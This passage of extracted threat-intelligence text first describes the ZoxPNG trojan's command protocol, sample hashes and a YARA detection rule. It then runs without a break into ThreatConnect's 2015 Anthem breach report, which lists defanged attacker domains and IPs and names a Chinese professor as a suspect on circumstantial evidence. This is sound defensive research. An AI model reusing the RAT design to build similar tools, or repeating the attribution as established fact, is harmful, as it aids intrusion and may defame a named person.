The payload of the data blob contains a data structure defining the filename (and destination) of the file being transferred, the number of bytes within the payload to write to the victims machine and the offset (if any) to start writing the payload data.
The format of the commands argument structure is as follows: Offset in Payload Field Name Description 0 (WORD) wFilenameLength Length of the szFilename field 2 (variable) szFilename Full filename and path of file to write 2szFilename (DWORD) dwDataOffset Offset within file to begin writing data 6szFilename (DWORD) dwBytesToWrite Number of bytes to write to disk 10szFilename (variable) (data) Bytes to write to disk If the dwDataOffset field is non-zero, then the disposition for the CreateFile call is set to OPEN_EXISTING whereas if the field is zero, then a new file is created by using CREATE_ALWAYS.
If the CreateFile call is successful, the command handler calls SetFilePointer to the value specified by dwDataOffset and then calls WriteFile in order to write the dwBytesToWrite number of bytes to disk.
The command handler returns a CommandHeader structure with the dwCommandID field of the CommandData structure set to 0x80061003 to the command dispatch.
If the CreateFile call is successful then the dwLastError field is set to 0 otherwise the field is set to the value returned by GetLastError.
Command 0x80061004: Upload File The Upload File command copies the contents of a file on the victims machine to the C2 server.
The payload of the data blob contains a data structure (identical to the data structure for the Download File command) defining the full filename and path of the file being transferred, the number of bytes to read from the file and the offset (if any) to start reading from within the file.
The format of the commands argument structure is as follows: Offset in Payload Field Name Description 0 (WORD) wFilenameLength Length of the szFilename field 2 (variable) szFilename Full filename and path of file to write 2szFilename (DWORD) dwDataOffset Offset within file to begin reading data 6szFilename (DWORD) dwBytesToRead Number of bytes to read from the file.
The command handler begins by calling CreateFile with the disposition set to OPEN_EXISTING.
If the CreateFile call is unsuccessful, the command handler returns a CommandHeader structure with the dwCommandID field of the CommandData structure set to 0x80061004 and the dwLastError field is set to the value returned by GetLastError.
If the dwBytesToRead is -1, the command handler will calculate the number of bytes to read from the file by taking the total file size (as reported by GetFileSize) and subtracting the value of the dwDataOffset field.
The command handler will allocate a response buffer with enough space to read in the specified number of bytes of the file along with a response header consisting of a CommandHeader along with a 12 byte payload header.
The format of the response buffer, following the CommandHeader, is as follows: Offset in Payload Field Name Description 0 (DWORD) dwFileSize Total size of the file being transferred 4 (DWORD) dwReadOffset Offset within file corresponding to the start of the data within the payload 8 (DWORD) dwBytesRead Number of bytes read from the file 12 (variable) (data) Bytes read from the file After moving the file pointer by calling SetFilePointer and supplying the value of the dwDataOffset field, the command handler will read the file (up to the number of calculated bytes to read) into the (data) section of the response buffer by calling ReadFile.
Regardless of the success of the file read, the command handler sets the dwFileSize, dwReadOffset and dwBytesRead fields appropriately and returns the response buffer to the command dispatch.
Command 0x80061005: Get Drive Information The Get Drive Information command provides a list of each letter assigned drive on the victims machine along with some limited information concerning each drive.
The command handler requires no arguments.
When activated, the command handler will call the GetLogicalDriveStrings function in order to obtain a list of assigned drive letters.
After allocating a response buffer large enough to contain a CommandHeader and the necessarily information structures to describe each drive, the command handler begins filling out a DriveInfo data structure for each drive and placing the structure within the payload of the response buffer.
The DriveInfo structure is defined as: struct DriveInfo  DWORD dwDriveNumber char szDriveLetter[4] DWORD dwDriveType ULARGE_INTEGER qwTotalBytes ULARGE_INTEGER dwTotalFreeBytes  The dwDriveType field contains the value returned from a call to GetDriveType while qwTotalBytes and qwTotalFreeBytes come from a call to GetDiskFreeSpaceEx.
After completing the array of DriveInfo structures for each assigned drive letter, the command handler will set the dwCommandID field within the CommandData structure to 0x80061005 and return the response buffer.
If, however, the call to GetLocalDriveStrings returns an error, the command handler will return only a CommandHeader structure with the dwCommandID field set to 0x80061005 and the dwLastError set to the return value from GetLastError.
Command 0x80061006: Create Directory The Create Directory command creates a directory on the victims machine.
The command handler uses the payload section of the data blob (the section following the CommandHeader and CommandData structures) as a NULL-terminating string containing the full path of the directory to create.
The command handler uses the CreateDirectory function to create the directory on the victims machine.
The command handler then returns a CommandHeader with the dwCommandID set to 0x80061006, the dwPayloadSize set to 0 and, if the CreateDirectory function was successful, the dwLastError set to 0 otherwise the field is set to the value returned from GetLastError.
Command 0x80061007: Enumerate Files The Enumerate Files command provides a list of files for a given path on the victims machine along with some limited information concerning each file found.
The command handler uses the payload section of the data blob (the section following the CommandHeader and CommandData structures) as a NULL-terminating string containing the full path to enumerate.
When activated, the command handler determine the number of files in the given path by using the FindFirstFile and FindNextFile functions to count the number of results.
Using the number of files within the specified directory, the command handler will allocate a response buffer large enough to contain a CommandHeader and the necessarily information structures to describe each file.
The command handler begins filling out a FileInfo data structure for each file, placing the structure within the payload of the response buffer.
The FileInfo structure is defined as: struct FileInfo  DWORD dwFileAttributes FILETIME ftLastWriteTime DWORD nFileSizeLow DWORD nFileSizeHigh char szFilename[260]  The dwFileAttributes field contains a bitmask of FILE_ATTRIBUTE_ values, ftLastWriteTime contains the timestamp of the last time the file was modified, nFileSizeLow and nFileSizeHigh collectively define the size of the file and szFilename contains a NULL-terminate string with the files name.
After completing the array of FileInfo structures for each found file (via calls to FindFirstFile and FindNextFile), the command handler will set the dwCommandID field within the CommandData structure to 0x80061007 and return the response buffer.
If, however, the command handler is unable to allocate the proper sized response buffer or if the number of files for the specified directory is zero, the command handler will return only a CommandHeader structure with the dwCommandID field set to 0x80061007 and the dwLastError set to the return value from GetLastError.
Command 0x80061008: Delete File The Delete File command deletes a file on the victims machine.
The command handler uses the payload section of the data blob (the section following the CommandHeader and CommandData structures) as a NULL-terminating string containing the full filename and path of the file to delete.
The command handler uses the SHFileOperation function with the SHFILEOPSTRUCT.wFunc parameter set to FO_DELETE to delete the file on the victims machine.
The command handler then returns a CommandHeader with the dwCommandID set to 0x80061008, the dwPayloadSize set to 0 and, if the operation was successful, the dwLastError set to 0 otherwise the field is set to the value returned from GetLastError.
Command 0x80061009: Rename/Move File The Rename/Move File command renames (and potentially moves) a file on the victims machine.
The command handler uses the payload section of the data blob (the section following the CommandHeader and CommandData structures) as a NULL-terminating string containing the both the full filename and path of the file to rename as well as the full filename and path of the new name for the file.
A pipe character () separates the two values within the string.
The command handler uses the MoveFileEx function to rename/move the file on the victims machine.
The command handler then returns a CommandHeader with the dwCommandID set to 0x80061009, the dwPayloadSize set to 0 and, if the operation was successful, the dwLastError is set to 0 otherwise the field is set to the value returned from GetLastError.
If the supplied NULL-terminated string does not contain a pipe character, thereby not supplying to filenames and paths, the dwLastError field is set to 87 (ERROR_INVALID_PARAMETER).
Command 0x8006100A: Enumerate Processes The Enumerate Processes command provides a list of processes running on a victims machine for a given path on the victims machine along with user running the process, the PID of the process and the terminal server session (if any) associated with the process.
The command handler requires no arguments.
When activated, the command handler obtains a list of active processes on the victims machine by calling WTSEnumerateProcesses.
By using WTSEnumerateProcesses instead of the more common Process32First and Process32Next functions, the Enumerate Processes command can also list processes associated with terminal server sessions.
Using the number of processes returned by the WTSEnumerateProcesses call, the command handler will allocate a response buffer large enough to contain a CommandHeader and the necessarily information structures to describe each process.
The command handler begins filling out a ProcessInfo data structure for each process, placing the structure within the payload of the response buffer.
The ProcessInfo structure is defined as: struct ProcessInfo  DWORD dwPID DWORD dwSessionID DWORD bIs64BitProcess char szUsername[32] char szProcessName[260]  The dwPID field identifies the process ID for the process and dwSessionID identifies the terminal server session associated with the process.
If the process is a 64-bit image, the bIs64BitProcess field is set to 1 otherwise it is set to 0.
Using the SID associated with the process, the command handler will look up the username responsible for the process and place the value in the szUsername field.
Lastly, the szProcessName field contains the full name of the process.
After completing the array of ProcessInfo structures for each found process, the command handler will set the dwCommandID field within the CommandData structure to 0x8006100A and return the response buffer.
If, however, the WTSEnumerateProcesses function was unsuccessful, the command handler will return only a CommandHeader structure with the dwCommandID field set to 0x8006100A and the dwLastError set to the return value from GetLastError.
Command 0x8006100B: Kill Process The Kill Process command will terminate a process specified by its PID.
The DWORD that immediately follows the CommandHeader (and CommandData) structure specifies the PID of the process to terminate.
The command handler will attempt to open a handle to the process by calling OpenProcess and then terminate the process by calling TerminateProcess.
The command handler then returns a CommandHeader with the dwCommandID set to 0x8006100B, the dwPayloadSize set to 0 and, if both the OpenProcess and TerminateProcess calls were successful, the dwLastError set to 0 otherwise the field is set to the value returned from GetLastError.
Command 0x8006100C: Sleep The Sleep command temporarily suspends the communication loop of the ZoxPNG binary for a specified period of time.
The DWORD that immediately follows the CommandHeader (and CommandData) structure specifies the parameter for the Sleep function.
If the parameter to the Sleep command is 0xFFFFFFFF, then the ZoxPNG communication loop will suspend indefinitely.
The command does not return a response.
Command 0x8006100D: Add/Update Command The Add/Update Command command allows the ZoxPNG to expand its capabilities by installing load-on-demand subroutines to the running ZoxPNG process.
The command handler uses the payload data that immediately follows the CommandHeader structure from the C2 server, allocates enough memory to copy the entirety of the payload (minus four bytes), and then copies the payload starting at offset 4 to the newly generated buffer.
The first four bytes (a DWORD) of the payload contains the desired command ID for the new command.
The command handler calls the new function which will return a pointer to the real command handler that is being installed.
This indicates that the data coming from the C2 server is an installer subroutine that loads the necessary DLLs and API functions and returns a pointer to the new command handler.
If the subroutine returns a valid (non-NULL) pointer, the Add/Update Command command handler attempts to install the new command handler.
The command handler attempts to install the new command handler into the array of existing command handlers (pfnHandlers[]) using the desired command ID (desiredCmdID value).
Figure 5 illustrates, in pseudo-C, the procedure that the Add/Update Command command handler install the new command handler.
memcpy(installerFunction, data[1], data-header.dwPayloadSize - 4) pFunc  installerFunction() if (pFunc)  desiredCmdID  data-dwHandlerID v5  dwHandlersCnt if ( dwHandlersCnt  desiredCmdID )  while (dwHandlersCnt  data-dwHandlerID )  pfnHandlers[dwHandlersCnt - 397312]  PlaceHolderCommand  pfnHandlers[dwHandlersCnt - 397312]  pFunc dwHandlerID  dwHandlersCnt  else if ( pfnHandlers )  pfnHandlers[desiredCmdID - 397312]  pFunc dwHandlerID  data-dwHandlerID   Figure 5: Command Handler Installation/Update Routine If the desiredCmdID is a value larger than the next available command ID, the command handler will fill the command IDs between the last valid command ID and the desiredCmdID will a filler function (PlaceHolderCommand).
The PlaceHolderCommand returns a CommandHeader with the dwCommandID set to the requested command ID, the dwLastError set to 2 (ERROR_FILE_NOT_FOUND), the dwPayloadSize set to the length of the string within the payload, and the payload containing the NULL-terminated string Not Support This Function.
What is not obvious, but important to note, is that not only can the Add/Update Command command add new functionality, it can replace existing commands.
After the command handler has concluded the installation of the new (or updated) command handler, the command handler will return a CommandHeader with the dwCommandID field within the CommandData structure set to 0x8006100D.
If the installation of the new command handler was successful, the command handler will append the new command handlers command ID value to the end of the CommandHeader and set the dwPayloadSize to 4.
If, however, installation of the new command handler was unsuccessful, the command handler will return only a CommandHeader structure with the dwCommandID field set to 0x8006100D and the dwLastError set to the return value from GetLastError.
Command 0x8006100E: Shutdown ZoxPNG The Shutdown command takes no arguments.
Upon activation, the Shutdown handler terminates any active remote command shell processes (e.g.
cmd.exe), terminates any open pipes, and returns without providing any additional response data.
After the shutdown command concludes, the ZoxPNG binary will sleep for 20 seconds before again re-engaging the main communication loop thereby effectively rendering the Shutdown command a 20 second sleep command.
Known Samples The following table identifies the known ZoxPNG samples along with key metadata for each.
SHA1 Compile Date File Size 60415999bc82dc9c8f4425f90e41a98d514f76a2 10 May 2013 at 07:16:54 44,432 bytes 40f9cde4ccd1b1b17a647c6fc72c5c5cd40d2b08 10 May 2013 at 07:16:54 47,200 bytes 7dd556415487cc192b647c9a7fde70896eeee7a2 10 May 2013 at 07:16:54 47,207 bytes Two of the known samples (SHA1:40f9cde4ccd1b1b17a647c6fc72c5c5cd40d2b08 and SHA1:60415999bc82dc9c8f4425f90e41a98d514f76a2) are signed using a signature from 4NB Corp. which appears to be a South Korean video conferencing and cloud service provider (www.4nb.co.kr).
The signing certificate for the two samples has a valid time range of 21 June 2011 to 21 July 2013.
Sample SHA1:40f9cde4ccd1b1b17a647c6fc72c5c5cd40d2b08 reports a valid digital signature whereas sample SHA1:60415999bc82dc9c8f4425f90e41a98d514f76a2 reports that the certificate has expired.
Figures 6 and 7 show the differences between the two digital signatures for the signed samples.
Figure 6: Sample 40f9cde4ccd1b1b17a647c6fc72c5c5cd40d2b08s Digital Signature Figure 7: Sample 60415999bc82dc9c8f4425f90e41a98d514f76a2s Digital Signature Detection Detecting ZoxPNG over the network could be possible by looking for the following string which appears to be static among the observed samples: pngw800h600eiCnJcUcSBL4rFkQX444HYCwzoom1ved1t:3588,r:1,s:0,i :92iactrcdur368page1tbnh184tbnw259start0ndsp20tx114ty 58 Detecting ZoxPNG on disk is possible using the same string as indicated in the following YARA signature: rule zox  strings: url pngw800h600eiCnJcUcSBL4rFkQX444HYCwzoom1ved1t:3588,r:1,s:0, i:92iactrcdur368page1tbnh184tbnw259start0ndsp20tx114t y58 condition: url  Evolution Sample SHA1:b51e419bf999332e695501c62c5b4aee5b070219 appears to have a tangential relationship to the ZoxPNG samples listed above.
The sample, known as ZoxRPC, has a compile date of 11 July 2008 at 04:28:21, placing it nearly 5 years ahead of the known ZoxPNG samples.
Given the large time differential between ZoxRPC and ZoxPNG, making a direct relationship between the two generations is difficult.
There are several attributes that would appear to indicate a connection between the two Zox variants: 1.
The use of the term iiscmd with a relationship to the remote shell functionality 2.
The identifiers used for each command roughly align.
ZoxRPC ID ZoxPNG ID Function Description 0x80061001 0x80061001 Initiate a remote shell 0x80061005 0x80061002 Interact with the remote shell (send command, read response) 0x80061003 0x80061003 Download a file from the C2 to the victims machine 0x80061002 0x80061004 Upload a file to the C2 from the victims machine ZoxRPC uses the MS08-067 vulnerability, specifically portions of code found on this public website: http://www.pudn.com/downloads183/sourcecode/hack/exploit/detail861817.html.
One interesting aspect of the ZoxRPC malware is the list of targeting offsets for the MS08-067 exploit.
The offsets are associated with specific regional version of Windows.
The following identifiers were found within ZoxRPC: KR Windows All bypass DEP JP Windows All bypass DEP EN Windows All bypass DEP TW Windows All bypass DEP CN Windows All bypass DEP The list itself indicates a specific set of regional targets that the operators of ZoxRPC are going after.
By researching the unique strings related to the iiscmd, iisput, and iisget strings, it appears that the original source code, upon which all Zox variants are based, dates back to 2002.
As part of the IIS vulnerability disclosure of 2002 for the vulnerability MS02-018, the source code for the proof of concept code contains not only several strings found within the Zox binaries, but several of the functions as well.
The source code upon which the Zox family is based is found at http://www.exploit-db.com/download/21371/, which was written by well-known Chinese hacker yuange.
Given the several years between the original source code (2002) and both ZoxPNG (2013) and ZoxRPC (2008), the code upon which Zox is based has mutated and evolved, but there are clearly sections of code that have remained largely unaltered.
The Anthem Hack: All Roads Lead to China Posted February 27, 2015 by ThreatConnect Intelligence Research Team (TCIRT)[1] led under Threat Research[2].
UPDATE: Premera Latest Healthcare Insurance Agency to be Breached[3] When news of the Anthem breach was reported on February 4th, 2015, the security industry quite understandably went wild.
A breach of this magnitude was certainly unprecedented.
Naturally, many industry professionals were keenly interested in digging into this incident to see what could be uncovered, and the research team at ThreatConnect was no exception.
Thanks to our powerful API[4] and third-party partner[5] integrations, we were able to use ThreatConnect to quickly uncover a wealth of intelligence even when initially hindered by a relative lack of investigative lead information and context, a key requirement of any Threat Intelligence Platform[6] (TIP).
However, before we delve into what we were able to uncover, lets briey review the facts as they stood in the wake of the initial discovery announcement.
http://www.threatconnect.com/news/the-anthem-... 1 of 33 03/22/2015 10:14 PM What We Know: On the morning of February 4th, 2015, several major news outlets broke the story[7] that Anthem, Inc.s network defenses had been breached.
According to a statement from Anthems CEO[8], the company fell victim to a very sophisticated external cyber attack, and the hackers obtained the personally identiable information (PII) of approximately 80M customers.
This included social security numbers, birthdays, street addresses, phone numbers and income data  plenty of information to enable identity theft.
This was a signicant event for several reasons: Anthem, formerly known as Wellpoint, is the largest managed healthcare company in the Blue Cross Blue Shield Association, and by extension, one of the largest healthcare organizations in the United States.
As such, any compromise, no matter how insignicant, would likely impact countless individuals.
Blue Cross Blue Shield provides healthcare coverage for about half the U.S. federal workforce.
This means that their information was potentially compromised too.
Unlike the Sony hack which was destructive in nature and meant to send a message for coercive purposes, the Anthem compromise was purportedly very covert, a fact which may suggest something about the adversarys motives.
As of late February 2015, there have not been any indications that the exltrated PII data was immediately commoditized on the black market for the purpose of enabling identity theft, as was the case in the Home Depot Breach.
http://www.threatconnect.com/news/the-anthem-... 2 of 33 03/22/2015 10:14 PM Filling the Gaps: Obviously, these high-level observations do not provide cybersecurity researchers a great deal of information to work with.
However, when presented within the context of a Threat Intelligence Platform (TIP), an incomplete trail of evidence can highlight intelligence gaps, a study of which can orient threat researchers towards their analytic objectives.
To this end, lets examine what we wanted to discover in the context of the Anthem breach: Who was responsible for the attack?
What was the objective of the attack?
Was it cyber theft, an espionage operation, or something different?
Who was targeted in the attack?
The answer to this question, obscured as it may be, would likely shed some light on the objective of the breach.
What was the timeline of the activity?
The real power of a Threat Intelligence Platform is demonstrated when you are able to collect and maintain a robust dataset of threat indicators, both past and present, which can help orient you in the right direction in the wake of a newly discovered breach.
Even when you do not have a good deal of information to start with (for example a le hash, or an IP address), you may nd leads by pivoting through archived datasets until you uncover key pieces of the puzzle.
In the case of the Anthem breach, we were able to do just that.
http://www.threatconnect.com/news/the-anthem-... 3 of 33 03/22/2015 10:14 PM Anthem Themed Infrastructure  Signed Malware: In September 2014, the ThreatConnect Intelligence Research Team (TCIRT)[9] observed a variant of the Derusbi APT malware family, MD5: 0A9545F9FC7A6D8596CF07A59F400FD3[10], which was signed by a valid digital signature from the Korean company DTOPTOOLZ Co. Derusbi is a family of malware used by multiple actor groups but associated exclusively with Chinese APT.
TCIRT began tracking the DTOPTOOLZ signature for additional signed malware samples and memorialized them within our Threat Intelligence Platform over time.
Analyst Comment: The DTOPTOOLZ signature has also been observed in association with Korean Adware that is afliated with the actual DTOPTOOLZ Co.
This adware should not be confused with the APT malware that is abusing the same digital signature.
Later, in mid-November we discovered another implant that was digitally signed with the DTOPTOOLZ signature.
This implant, MD5: 98721c78dfbf8a45d152a888c804427c[11], was from the Sakula (aka.
Sakurel) family of malware, a known variant of the Derusbi backdoor, and was congured to communicate with the malicious command and control (C2) domains extcitrix.we11point[.
]com and www.we11point[.
]com.
Through our Farsight  Security passive DNS[12] integration, we uncovered that this malicious infrastructure was likely named in such a way to impersonate the legitimate Wellpoint IT infrastructure.
http://www.threatconnect.com/news/the-anthem-... 4 of 33 03/22/2015 10:14 PM Passive DNS and historic DomainTools Whois data also provided insights that helped establish an initial timeline dating back to April 2014, when the faux domains came into existence and were later operationalized by the attackers.
A Threat Intelligence Platform should allow for analysts to easily put together and organize such insights, collaborate around relevant analysis internally, and share the nished analysis with external industry groups and organizations.
In the hopes that our community members could benet from or provide further insight into this suspicious incident, we immediately shared our threat intelligence including indicators, signatures and analytical context to the ThreatConnect Medical and Health Community[13] on November 13, 2014.
This included sending out a notication to all stakeholders as well as our followers on Twitter[14].
When the Anthem breach later came to light in early February, we re-shared the signatures, indicators and context freely to the entire ThreatConnect user base.
As we dug further, we expanded our understanding of the malicious we11point[.
]com infrastructure, taking particular interest to the subdomains such as extcitrix.we11point[.
]com and hrsolutions.we11point[.
]com.
Note the citrix  and hr (human resources) prexes that the adversary used to mirror legitimate remote infrastructure and employee benets resources in the May 2014 timeframe.
This provided initial insights as to the likely targeting themes and or vectors in which the adversary may have used when initiating their targeting campaign.
http://www.threatconnect.com/news/the-anthem-... 5 of 33 03/22/2015 10:14 PM [15] [16] The fact that the malicious infrastructure closely mirrored other legitimate Wellpoint infrastructure supported our hypothesis that the Derusbi / Sakula malware was congured to operate and persist within a specic target enterprise.
Possible Premera Blue Cross Infrastructure: Retrospective analysis of other targeted malware samples using the DTOPTOOLZ Co. digital signature led to the identication of an HttpBrowser / HttpDump implant MD5: 02FAB24461956458D70AEED1A028EB9C[17] (OpenOfcePlugin.exe), which was rst observed on December 11, 2013.
Although this malware sample is not Derusbi / Sakula, it too is strongly believed to be associated with Chinese APT activity and in fact may have also been involved in a Blue Cross Blue Shield http://www.threatconnect.com/news/the-anthem-... 6 of 33 03/22/2015 10:14 PM targeting campaign as early as December 2013.
[
18] This particular binary is congured to connect to the static IP address 142.91.76[.
]134.
Passive DNS of this IP indicates that on December 11th, 2013, the same date as the malware sample was observed, the domain prennera[.
]com also resolved to 142.91.76[.
]134.
It is believed that the prennera[.
]com domain may have been impersonating the Healthcare provider Premera Blue Cross[19], where the attackers used the same character replacement technique by replacing the m with two n characters within the faux domain, the same technique that would http://www.threatconnect.com/news/the-anthem-... 7 of 33 03/22/2015 10:14 PM be seen ve months later with the we11point[.
]com command and control infrastructure.
Section Summary: The Derusbi / Sakula malware implant types are unique in that they have traditionally been seen within Chinese APT espionage campaigns.
The HttpBrowser / HttpDump malware implant (while a different family of malware than Derusbi / Sakula) is also believed to be of Chinese origin, and was also digitally signed with the DTOPTOOLZ digitalsignature.
This implant connected to a C2 node that overlapped with prennera[.
]com.
We believe that the prennera[.
]com domain may be impersonating Premera Blue Cross (premera.com), using a similar character replacement technique seen in the we11point[.
]com campaign.
VAE Inc. Themed Infrastructure  Signed Malware Another powerful attribute of ThreatConnect is the ability for analysts to logically group items such as atomic indicators, related documents or signatures, all of which may include individualized custom context enrichments and associations.
Over time, the ability to memorialize groupings of related or like activity allows analysts to quickly uncover non-obvious relationships within their private datasets.
This is exactly what happened as we continued to http://www.threatconnect.com/news/the-anthem-... 8 of 33 03/22/2015 10:14 PM investigate these incidents.
As industry analysts and media speculated Chinese APT involvement[20] in the Anthem breach, our focus into the Derusbi / Sakula malware signed with the DTOPTOOLZ Co. digital signature shifted from the we11point[.
]com incident to another cluster of activity that occurred later in May 2014.
We immediately reviewed Incident 20140526B: vaeit APT[21], an incident that we initially shared to our Subscriber Community on September 29, 2014 after conducting retrospective analysis.
[
22] [23] Just as was the case with the we11point[.
]com and prennera[.
]com http://www.threatconnect.com/news/the-anthem-... 9 of 33 03/22/2015 10:14 PM incidents, the VAE, Inc. incident is also believed to be associated with Chinese APT espionage activity.
In this case the adversary also used Derusbi / Sakula malware that was signed with the DTOPTOOLZ Co. digital signature and congured to communicate with faux infrastructure appearing to be masquerading as internal resources for the Department of Defense Contractor VAE, Inc. Additionally, in response to an inquiry from KrebsOnSecurity, VAE, Inc. would later conrm[24] that it had indeed been a target of a failed spearphishing attempt in May 2014 which used the malicious faux VAE, Inc. themed domain.
The targeted incident relied upon the Sakula executable MD5: 230D8A7A60A07DF28A291B13DDF3351F[25] which had a XOR 0x9A encoded C2 callbacks to the IP address 192.199.254[.
]126 (registered to Wehostwebsites[.
]com  Tom Yu of Baoan, Shenzhen City, Guangdong Province, China) as well as a hardcoded callback to sharepoint-vaeit[.
]com.
Passive DNS of the static C2 IP 192.199.254[.
]126 revealed a single suspicious domain of interest  topsec2014[.
]com.
This domain had historic resolution around May 8, 2014 within a month of the rst observed Sakula activity using the IP 192.199.254[.
]126 as C2.
[
26] http://www.threatconnect.com/news/the-anthem-... 10 of 33 03/22/2015 10:14 PM [27] Using historic Whois, we discovered that topsec2014[.
]com was initially registered by li2384826402yahoo[.
]com on May 6th, 2014.
Although the li2384826402yahoo[.
]com registrant is likely a reseller given that it has been observed registering several thousands of other domains, the fact that it was used to register both the faux VAE, Inc. C2 infrastructure and the overlapping domain topsec2014[.
]com within the same month suggests that there may be a relationship between the client of the reseller for the VAE, Inc. infrastructure and the client for topsec2014[.]com.
[
28] http://www.threatconnect.com/news/the-anthem-... 11 of 33 03/22/2015 10:14 PM [29] Just four minutes after the initial registration of topsec2014[.
]com, the Whois records were updated from the initial registrant, Li Ning  li2384826402yahoo[.
]com to TopSec China TopSec_2014163[.
]com.
This domain record has been unchanged since May 7th 2014.
The we11point[.
]com infrastructure and by extension the faux VAE Inc. infrastructure is associated with Cluster 2 of the ScanBox framework[30] by PwC.
The latest PwC update to ScanBox states that there are links between the domain allegedly used in the Anthem hack (we11point.com) to Cluster 2 through shared WHOIS details.
OPM Themed Infrastructure One notable pattern was how the domain Whois registration information for the VAE, Inc. themed infrastructure was quickly updated and obfuscated with pseudorandom 10 character gmx.com email addresses and using the names of various comic book characters from the Iron Man franchise.
This comic-themed naming convention has been previously documented by our friends at Crowdstrike[31] in what they characterize as being associated with a Chinese APT group they have dubbed Deep Panda.
Leveraging our DomainTools partnership, we were able to http://www.threatconnect.com/news/the-anthem-... 12 of 33 03/22/2015 10:14 PM correlate the outlier domain opm-learning[.
]org.
This domain was also purportedly registered by the Iron Man movie hero Tony Stark on July 28, 2014.
This infrastructure naming convention suggests a possible Ofce of Personnel Management (OPM) theme.
However, in this case we lacked any specic sample of malware to verify our initial suspicions that this infrastructure was operational.
The possible OPM reference in the domain name is noteworthy considering it was revealed in July of 2014 that OPM had been compromised[32] by a likely state-sponsored Chinese actor in mid-March of that year.
The fact this domain was registered after the breach occurred suggests that OPM could be an ongoing direct target of Chinese state-sponsored cyber espionage activity.
Our attention then turned to the FBI Flash Report A-000049- MW[33] that was publicly reported by Brian Krebs [34]on February 6th, 2015.
This FBI Flash Report was issued on January 27th, 2015, the same day an Anthem administrator detected suspicious activity according to an internal memo[35].
This memo goes on to indicate that the FBI would not be party to the Anthem breach until they were notied on January 29th, 2015 based on these facts we assess with high condence that it is very unlikely that the FBI Flash Report was directly related to the Anthem breach.
Rather, we suspect that the FBI ash report likely references the USIS breach that was announced[36] on August 6, 2014, or the previous OPM breach, considering the statement that the breach involved compromised and stolen sensitive business information and Personally Identiable Information (PII) from US commercial and http://www.threatconnect.com/news/the-anthem-... 13 of 33 03/22/2015 10:14 PM government networks through cyber espionage.
The malware referenced within the FBI Report is associated with a Derusbi backdoor subvariant named InfoAdmin / Kakfum where the FBI specically references open source reporting of Deep Panda as being related to the malware observed in the attack.
The malicious infrastructure highlighted in the report are the domains images.googlewebcache[.
]com and smtp.outlookssl[.
]com.
Both of these top level domains were included with other related domains, all of which were shared on September 16th, 2013 to the ThreatConnect Subscriber Community in Incident 20130823C: Some.
Trouble APT Domains[37], roughly a year and half prior to the FBI Flash report.
It is important to mention that both the domains images.googlewebcache[.
]com and smtp.outlookssl[.
]comas were also previously identied in an October 2014 PwC blog post[38] as seen within Cluster 1 of the Scanbox framework, while the Sakula activity with we11point and VAEIT is contained within Cluster 2 of that report.
This implies that the actor referenced within the FBI Flash report uses shared capabilities (in this case the ScanBox kit) with the Sakula / we11point actor.
Section Summary: The Derusbi / Sakula malware seen in both the we11point[.
]com and VAE Inc. campaigns were structurally the same and digitally signed with the DTOPTOOLZ signature.
http://www.threatconnect.com/news/the-anthem-... 14 of 33 03/22/2015 10:14 PM The emerging theme is that this particular signature and family of malware is highly indicative of a particular Chinese APT activity.
Within this web of malicious infrastructure, there is an interesting overlap with the topsec2014[.
]com domain and attack infrastructure.
TCIRT identied a domain opm-learning[.
]org that had a similar superhero themed WHOIS registrant to the Sakula / VAE Inc. infrastructure.
The possible OPM reference is noteworthy considering the Ofce of Personnel Management (OPM) was compromised in March 2014.
Additionally, an FBI Flash Report 0000-49MW referenced indicators that were possibly associated with the USIS hack and a Derusbi variant called Kakfum / InfoAdmin.
Both the FBI Flash infrastructure and the Sakula / VAE Inc. infrastructure are tied to the capability usage of the ScanBox framework, residing in Clusters 1 and 2 respectively.
Unveiling Song Yubo and Southeast University: The Professor We conducted open source research in pursuit of further information on the TopSec_2014163[.
]com email registrant.
A keyword search returned several results for topsec2014163[.
]com in association with a number of academic institutions in Nanjing, China.
Although the email http://www.threatconnect.com/news/the-anthem-... 15 of 33 03/22/2015 10:14 PM address wasnt an exact match to the topsec2014[.
]com domain registrant (notice the absence of the underscore), such a similarity warranted further investigation.
[
39] [40] http://www.threatconnect.com/news/the-anthem-... 16 of 33 03/22/2015 10:14 PM We examined the links for any relevant intelligence, and discovered that nearly all of the search results led to pages that contained an announcement for an information security competition sponsored by the Southeast University-Topsec Information Security and Mobile Internet Technology Joint Research Center.
This entity appears to be a joint research venture between the University and Chinese networking giant Beijing Topsec Network Security Technology Co., a.k.a.
Beijing Topsec.
[
41] http://www.threatconnect.com/news/the-anthem-... 17 of 33 03/22/2015 10:14 PM [42] The announcements list a Professor Song Yubo as the point of contact for the event, and directs interested parties to his email address, topsec2014163[.
]com, for further questions.
[
43] [44] According to his LinkedIn page, Song is a Teacher at the Southeast University, specically interested in the eld of telecommunications.
Additionally, he is an avid researcher, and has published numerous academic papers on computer network exploitation on various e-journal publication sites, such as Google Scholar[45].
Further, he lists skills such as cryptography, penetration testing and computer network security, etc.
on his Research Gate prole[46].
http://www.threatconnect.com/news/the-anthem-... 18 of 33 03/22/2015 10:14 PM [47] [48] As we continued to develop a prole on Professor Song, we began to have the sense that his interest in information security research strongly overlapped with that of someone who might be interested in or at least capable of conducting sophisticated cyber attacks.
However, interests alone are not enough to warrant reasonable suspicion, so we had to do more digging.
Additionally, the soft link between TopSec_2014163[.
]com and topsec2014163[.
]com alone was not sufcient to make http://www.threatconnect.com/news/the-anthem-... 19 of 33 03/22/2015 10:14 PM associations with any reasonable condence, but as it turns out, Yubo has in fact been previously named as a person of interest in the context of offensive Chinese cyber activity.
The University In March 2012, Northrop Grumman presented a commissioned report to Congress[49] detailing Chinese cyber warfare capabilities.
The report asserts with high condence that both Song and the Information Security Research Center at Southeast University have received numerous state-sponsored research grants, and by extension, cooperated with the Government of China in conducting information security research and development (RD).
As stated on Southeast Universitys own website, the main purpose of these grants are to develop technical acumen amongst its students via providing support for state-owned scientic research institutions, state key enterprises, government agencies and Peoples Liberation Army (PLA) units.
[
50] http://www.threatconnect.com/news/the-anthem-... 20 of 33 03/22/2015 10:14 PM [51] Southeast University is one of only three Chinese academic institutes that receives funding from all ve of the State grant programs.
Song himself has also conducted his fair share of state- sponsored research, notably under the National Ministry of State Security 115 Program  a highly sensitive research grant to fund ambiguous information warfare RD, almost certainly in support of PLA programs.
The Competition As we can see, the evidence continued to stack up.
The real smoking gun, however, was when we began to notice a strong temporal overlap with the various stages of the TOPSEC Cup that Song and Beijing Topsec were organizing, and the registration dates of malicious infrastructure as well as the malware compilation dates.
[
